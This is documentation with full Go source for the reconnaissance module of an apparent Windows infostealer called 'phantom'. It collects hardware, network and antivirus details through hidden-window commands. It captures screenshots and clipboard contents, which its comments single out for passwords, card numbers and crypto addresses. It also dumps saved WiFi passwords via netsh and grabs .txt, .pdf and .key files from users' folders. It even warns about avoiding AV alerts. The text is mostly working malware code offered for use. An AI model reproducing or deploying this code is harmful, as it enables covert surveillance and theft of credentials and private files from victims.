Overview
The recon module performs comprehensive system reconnaissance, gathering hardware specs, network configuration, security software, screenshots, clipboard data, and WiFi passwords.
Data Structures
SystemInfo
Main structure containing all collected system information:
type SystemInfo struct {
ComputerName string
Username string
OS string
Architecture string
CPUCores int
RAM string
GPU string
Disks [] DiskInfo
Network [] NetworkInfo
PublicIP string
GeoIP string
Uptime string
AntiVirus [] string
InstalledApps [] string
RunningProcs [] string
Screenshot [] byte
ClipboardData string
WifiPasswords [] WifiPassword
}
DiskInfo
type DiskInfo struct {
Drive string
TotalSpace uint64
FreeSpace uint64
FileSystem string
}
NetworkInfo
type NetworkInfo struct {
Interface string
IP string
MAC string
Gateway string
}
WifiPassword
type WifiPassword struct {
SSID string
Password string
}
Main Collection Function
Collect()
Gathers all system information:
func Collect () * SystemInfo {
info := & SystemInfo {}
// basic stuff first - these are fast
info . ComputerName , _ = os . Hostname ()
info . Username = os . Getenv ( "USERNAME" )
info . OS = runtime . GOOS
info . Architecture = runtime . GOARCH
info . CPUCores = runtime . NumCPU ()
// memory info
memStatus , _ := syscalls . GetMemoryStatus ()
if memStatus != nil {
info . RAM = formatBytes ( memStatus . TotalPhys )
}
// GPU - uses WMI which is slow but works
info . GPU = getGPU ()
// disk info - all drives
info . Disks = getDisks ()
// network interfaces + IPs
info . Network = getNetworkInfo ()
info . PublicIP = getPublicIP ()
// system uptime
uptime := syscalls . GetTickCount64 ()
info . Uptime = formatDuration ( time . Duration ( uptime ) * time . Millisecond )
// detect AV software
info . AntiVirus = getAntiVirus ()
// installed programs
info . InstalledApps = getInstalledApps ()
// running processes
info . RunningProcs , _ = syscalls . EnumProcesses ()
// take a screenshot
info . Screenshot = takeScreenshot ()
// grab clipboard
info . ClipboardData = getClipboard ()
// wifi passwords
info . WifiPasswords = getWifiPasswords ()
return info
}
GPU Detection
Uses WMI to query GPU information:
func getGPU () string {
cmd := exec . Command ( "wmic" , "path" , "win32_videocontroller" , "get" , "name" )
cmd . SysProcAttr = & syscall . SysProcAttr { HideWindow : true }
output , err := cmd . Output ()
if err != nil {
return "Unknown"
}
lines := strings . Split ( string ( output ), " \n " )
for _ , line := range lines {
line = strings . TrimSpace ( line )
if line != "" && line != "Name" {
return line
}
}
return "Unknown"
}
WMI (Windows Management Instrumentation) queries can be slow but provide accurate hardware information.
Disk Enumeration
Iterates through all drive letters to find mounted disks:
func getDisks () [] DiskInfo {
var disks [] DiskInfo
for _ , drive := range "CDEFGHIJKLMNOPQRSTUVWXYZ" {
drivePath := string ( drive ) + ": \\ " >
h := kernel32 . NewProc ( "GetDiskFreeSpaceExW" )
var freeBytesAvailable , totalBytes , totalFreeBytes uint64
drivePtr , _ := syscall . UTF16PtrFromString ( drivePath )
ret , _ , _ := h . Call (
uintptr ( unsafe . Pointer ( drivePtr )),
uintptr ( unsafe . Pointer ( & freeBytesAvailable )),
uintptr ( unsafe . Pointer ( & totalBytes )),
uintptr ( unsafe . Pointer ( & totalFreeBytes )),
)
if ret != 0 {
disks = append ( disks , DiskInfo {
Drive : drivePath ,
TotalSpace : totalBytes ,
FreeSpace : totalFreeBytes ,
})
}
}
return disks
}
Local Network Interfaces
func getNetworkInfo () [] NetworkInfo {
var networks [] NetworkInfo
interfaces , err := net . Interfaces ()
if err != nil {
return networks
}
for _ , iface := range interfaces {
if iface . Flags & net . FlagUp == 0 || iface . Flags & net . FlagLoopback != 0 {
continue
}
addrs , err := iface . Addrs ()
if err != nil {
continue
}
for _ , addr := range addrs {
if ipnet , ok := addr .( * net . IPNet ); ok && ! ipnet . IP . IsLoopback () {
if ipnet . IP . To4 () != nil {
networks = append ( networks , NetworkInfo {
Interface : iface . Name ,
IP : ipnet . IP . String (),
MAC : iface . HardwareAddr . String (),
})
}
}
}
}
return networks
}
Public IP Detection
Uses free IP lookup services:
func getPublicIP () string {
// using multiple free services for reliability
services := [] string {
"https://api.ipify.org" ,
"https://icanhazip.com" ,
"https://ifconfig.me/ip" ,
}
for _ , service := range services {
cmd := exec . Command ( "powershell" , "-Command" ,
fmt . Sprintf ( "(Invoke-WebRequest -Uri ' %s ' -UseBasicParsing).Content" , service ))
cmd . SysProcAttr = & syscall . SysProcAttr { HideWindow : true }
output , err := cmd . Output ()
if err == nil {
return strings . TrimSpace ( string ( output ))
}
}
return "Unknown"
}
api.ipify.org - Simple API returning plain text IP
icanhazip.com - Returns IP address only
ifconfig.me/ip - Returns public IP
Multiple services ensure reliability if one is down.
Security Software Detection
Antivirus Enumeration
Queries Windows Security Center via WMI:
func getAntiVirus () [] string {
var avList [] string
cmd := exec . Command ( "wmic" , "/namespace: \\\\ root \\ securitycenter2" ,
"path" , "antivirusproduct" , "get" , "displayname" )
cmd . SysProcAttr = & syscall . SysProcAttr { HideWindow : true }
output , err := cmd . Output ()
if err != nil {
return avList
}
lines := strings . Split ( string ( output ), " \n " )
for _ , line := range lines {
line = strings . TrimSpace ( line )
if line != "" && line != "displayName" {
avList = append ( avList , line )
}
}
return avList
}
Windows Security Center tracks all registered AV products. This includes Windows Defender and third-party solutions.
Installed Applications
func getInstalledApps () [] string {
var apps [] string
cmd := exec . Command ( "wmic" , "product" , "get" , "name" )
cmd . SysProcAttr = & syscall . SysProcAttr { HideWindow : true }
output , err := cmd . Output ()
if err != nil {
return apps
}
lines := strings . Split ( string ( output ), " \n " )
for _ , line := range lines {
line = strings . TrimSpace ( line )
if line != "" && line != "Name" {
apps = append ( apps , line )
}
}
return apps
}
wmic product can be slow and may trigger AV alerts. Use sparingly.
Screenshot Capture
takeScreenshot()
Captures desktop screenshot using GDI:
func takeScreenshot () [] byte {
width , _ , _ := procGetSystemMetrics . Call ( SM_CXSCREEN )
height , _ , _ := procGetSystemMetrics . Call ( SM_CYSCREEN )
if width == 0 || height == 0 {
return nil
}
hdcScreen , _ , _ := procGetDC . Call ( 0 )
if hdcScreen == 0 {
return nil
}
defer procReleaseDC . Call ( 0 , hdcScreen )
hdcMem , _ , _ := procCreateCompatibleDC . Call ( hdcScreen )
if hdcMem == 0 {
return nil
}
defer procDeleteDC . Call ( hdcMem )
hBitmap , _ , _ := procCreateCompatibleBitmap . Call ( hdcScreen , width , height )
if hBitmap == 0 {
return nil
}
defer procDeleteObject . Call ( hBitmap )
procSelectObject . Call ( hdcMem , hBitmap )
procBitBlt . Call ( hdcMem , 0 , 0 , width , height , hdcScreen , 0 , 0 , SRCCOPY )
// get bitmap data
type BITMAPINFOHEADER struct {
BiSize uint32
BiWidth int32
BiHeight int32
BiPlanes uint16
BiBitCount uint16
BiCompression uint32
BiSizeImage uint32
BiXPelsPerMeter int32
BiYPelsPerMeter int32
BiClrUsed uint32
BiClrImportant uint32
}
bmi := BITMAPINFOHEADER {
BiSize : 40 ,
BiWidth : int32 ( width ),
BiHeight : - int32 ( height ), // top-down
BiPlanes : 1 ,
BiBitCount : 32 ,
BiCompression : BI_RGB ,
}
imageSize := int ( width ) * int ( height ) * 4
pixels := make ([] byte , imageSize )
procGetDIBits . Call (
hdcMem ,
hBitmap ,
0 ,
height ,
uintptr ( unsafe . Pointer ( & pixels [ 0 ])),
uintptr ( unsafe . Pointer ( & bmi )),
0 ,
)
// convert BGRA to RGBA
for i := 0 ; i < len ( pixels ); i += 4 {
pixels [ i ], pixels [ i + 2 ] = pixels [ i + 2 ], pixels [ i ]
}
// create image
img := image . NewRGBA ( image . Rect ( 0 , 0 , int ( width ), int ( height )))
copy ( img . Pix , pixels )
// encode to PNG
var buf bytes . Buffer
if err := png . Encode ( & buf , img ); err != nil {
return nil
}
return buf . Bytes ()
}
Get screen dimensions - GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)
Get screen DC - GetDC(NULL) for desktop device context
Create memory DC - CreateCompatibleDC() for off-screen rendering
Create bitmap - CreateCompatibleBitmap() matching screen size
Select bitmap - SelectObject() into memory DC
Copy pixels - BitBlt() from screen to memory bitmap
Extract bits - GetDIBits() to get raw pixel data
Convert format - BGRA to RGBA color space
Encode PNG - Use Go’s png encoder
Clipboard Data
getClipboard()
Retrieves current clipboard text:
func getClipboard () string {
ret , _ , _ := procOpenClipboard . Call ( 0 )
if ret == 0 {
return ""
}
defer procCloseClipboard . Call ()
h , _ , _ := procGetClipboardData . Call ( CF_TEXT )
if h == 0 {
return ""
}
ptr , _ , _ := procGlobalLock . Call ( h )
if ptr == 0 {
return ""
}
defer procGlobalUnlock . Call ( h )
// read null-terminated string
data := ( * [ 1 << 20 ] byte )( unsafe . Pointer ( ptr ))
var text [] byte
for i := 0 ; i < len ( data ); i ++ {
if data [ i ] == 0 {
break
}
text = append ( text , data [ i ])
}
return string ( text )
}
Clipboard often contains passwords, credit card numbers, or cryptocurrency addresses that users have copied.
getWifiPasswords()
Uses netsh to extract saved WiFi passwords:
func getWifiPasswords () [] WifiPassword {
var passwords [] WifiPassword
// get all wifi profiles
cmd := exec . Command ( "netsh" , "wlan" , "show" , "profiles" )
cmd . SysProcAttr = & syscall . SysProcAttr { HideWindow : true }
output , err := cmd . Output ()
if err != nil {
return passwords
}
lines := strings . Split ( string ( output ), " \n " )
for _ , line := range lines {
if strings . Contains ( line , "All User Profile" ) || strings . Contains ( line , "Profil" ) {
parts := strings . Split ( line , ":" )
if len ( parts ) >= 2 {
ssid := strings . TrimSpace ( parts [ 1 ])
if ssid == "" {
continue
}
// get password for this profile
cmd := exec . Command ( "netsh" , "wlan" , "show" , "profile" , ssid , "key=clear" )
cmd . SysProcAttr = & syscall . SysProcAttr { HideWindow : true }
output , err := cmd . Output ()
if err != nil {
continue
}
profileLines := strings . Split ( string ( output ), " \n " )
for _ , profileLine := range profileLines {
if strings . Contains ( profileLine , "Key Content" ) || strings . Contains ( profileLine , "Contenu" ) {
parts := strings . Split ( profileLine , ":" )
if len ( parts ) >= 2 {
password := strings . TrimSpace ( parts [ 1 ])
passwords = append ( passwords , WifiPassword {
SSID : ssid ,
Password : password ,
})
}
}
}
}
}
}
return passwords
}
List all profiles: Show specific profile with password: netsh wlan show profile "WiFi Name" key=clear
Output format: Key Content : MyPassword123
Supports both English and French Windows (“Key Content” vs “Contenu de la clé”).
WiFi password extraction works without admin privileges for user-saved networks.
File Grabber
GrabFiles()
Grabs specific file types from user directories:
func GrabFiles ( extensions [] string , maxSize int64 , paths [] string ) [] GrabbedFile {
var files [] GrabbedFile
userProfile := os . Getenv ( "USERPROFILE" )
for _ , path := range paths {
fullPath := filepath . Join ( userProfile , path )
if _ , err := os . Stat ( fullPath ); os . IsNotExist ( err ) {
continue
}
filepath . Walk ( fullPath , func ( p string , info os . FileInfo , err error ) error {
if err != nil {
return nil
}
if info . IsDir () {
return nil
}
if info . Size () > maxSize {
return nil
}
ext := strings . ToLower ( filepath . Ext ( info . Name ()))
for _ , targetExt := range extensions {
if ext == targetExt {
content , err := os . ReadFile ( p )
if err != nil {
return nil
}
relPath , _ := filepath . Rel ( userProfile , p )
files = append ( files , GrabbedFile {
Path : relPath ,
Content : content ,
})
break
}
}
return nil
})
}
return files
}
File extensions to grab (e.g., [".txt", ".pdf", ".key"])
Maximum file size in bytes (avoid huge files)
Directories to search (relative to user profile)
GrabbedFile
type GrabbedFile struct {
Path string
Content [] byte
}
Helper Functions
Formats bytes into human-readable units:
func formatBytes ( b uint64 ) string {
const unit = 1024
if b < unit {
return fmt . Sprintf ( " %d B" , b )
}
div , exp := uint64 ( unit ), 0
for n := b / unit ; n >= unit ; n /= unit {
div *= unit
exp ++
}
return fmt . Sprintf ( " %.1f %c B" , float64 ( b ) / float64 ( div ), "KMGTPE" [ exp ])
}
Formats uptime into readable format:
func formatDuration ( d time . Duration ) string {
days := d / ( 24 * time . Hour )
d -= days * 24 * time . Hour
hours := d / time . Hour
d -= hours * time . Hour
minutes := d / time . Minute
return fmt . Sprintf ( " %d d %d h %d m" , days , hours , minutes )
}
EncodeScreenshot()
Encodes screenshot to base64:
func EncodeScreenshot ( data [] byte ) string {
return base64 . StdEncoding . EncodeToString ( data )
}
Win32 API Constants
const (
SM_CXSCREEN = 0 // screen width
SM_CYSCREEN = 1 // screen height
SRCCOPY = 0x 00CC0020 // bitblt raster op
CF_TEXT = 1 // clipboard text format
BI_RGB = 0 // uncompressed bitmap
)
Usage Example
import " phantom/recon "
func main () {
// Collect all system information
sysInfo := recon . Collect ()
// Access collected data
fmt . Printf ( "Computer: %s \\ %s \n " , sysInfo . ComputerName , sysInfo . Username )
fmt . Printf ( "OS: %s %s \n " , sysInfo . OS , sysInfo . Architecture )
fmt . Printf ( "RAM: %s \n " , sysInfo . RAM )
fmt . Printf ( "GPU: %s \n " , sysInfo . GPU )
fmt . Printf ( "Public IP: %s \n " , sysInfo . PublicIP )
fmt . Printf ( "Antivirus: %v \n " , sysInfo . AntiVirus )
// Save screenshot
if sysInfo . Screenshot != nil {
os . WriteFile ( "screenshot.png" , sysInfo . Screenshot , 0644 )
}
// Print WiFi passwords
for _ , wifi := range sysInfo . WifiPasswords {
fmt . Printf ( "SSID: %s , Password: %s \n " , wifi . SSID , wifi . Password )
}
// Grab specific files
files := recon . GrabFiles (
[] string { ".txt" , ".pdf" , ".key" },
5 * 1024 * 1024 , // 5MB max
[] string { "Desktop" , "Documents" },
)
fmt . Printf ( "Grabbed %d files \n " , len ( files ))
}
Slow operations:
WMI queries (GPU, AV, installed apps) - can take 1-5 seconds each
Screenshot capture - depends on resolution
File grabber - depends on file count
Consider running slow operations in goroutines for parallel execution.
Fast operations:
Basic system info (hostname, username, OS)
CPU core count
Network interfaces
Clipboard data